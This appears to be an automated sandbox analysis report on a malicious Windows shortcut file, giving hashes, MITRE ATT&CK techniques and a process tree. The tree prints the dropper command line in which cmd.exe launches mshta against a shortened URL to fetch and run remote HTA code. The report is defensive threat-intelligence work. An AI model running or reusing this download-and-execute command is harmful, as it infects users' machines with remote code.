9ab13bfc2c60c1c15e677df76e8768e054d01d24f095cecf752491f785babc0b

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 09:28

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General

Target

09bca3ddbc55f22577d2f3a7fda22d1c.lnk
Size

1KB
MD5

09bca3ddbc55f22577d2f3a7fda22d1c
SHA1

bc608400f9fc6c34f7ab230ee71a42920e90c9e7
SHA256

9ab13bfc2c60c1c15e677df76e8768e054d01d24f095cecf752491f785babc0b
SHA512

77ff79364d388489eb7814f3332629e242d0a77878c1b4c79eb26a1bf24a023417bf9b2fc9888c96139903ae50fa34484088776c297605a398631bb9af7f4efc

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://bit.ly/2U1JjGq

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2840	mshta.exe
6	2840	mshta.exe
8	2840	mshta.exe
9	2840	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 2668	2944	cmd.exe	29
PID 2944 wrote to memory of 2668	2944	cmd.exe	29
PID 2944 wrote to memory of 2668	2944	cmd.exe	29
PID 2668 wrote to memory of 2840	2668	cmd.exe	30
PID 2668 wrote to memory of 2840	2668	cmd.exe	30
PID 2668 wrote to memory of 2840	2668	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\09bca3ddbc55f22577d2f3a7fda22d1c.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://bit.ly/2U1JjGq
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\System32\mshta.exe
    C:\Windows\System32\mshta https://bit.ly/2U1JjGq
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

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C:\Users\Admin\AppData\Local\Temp\Tar17BC.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

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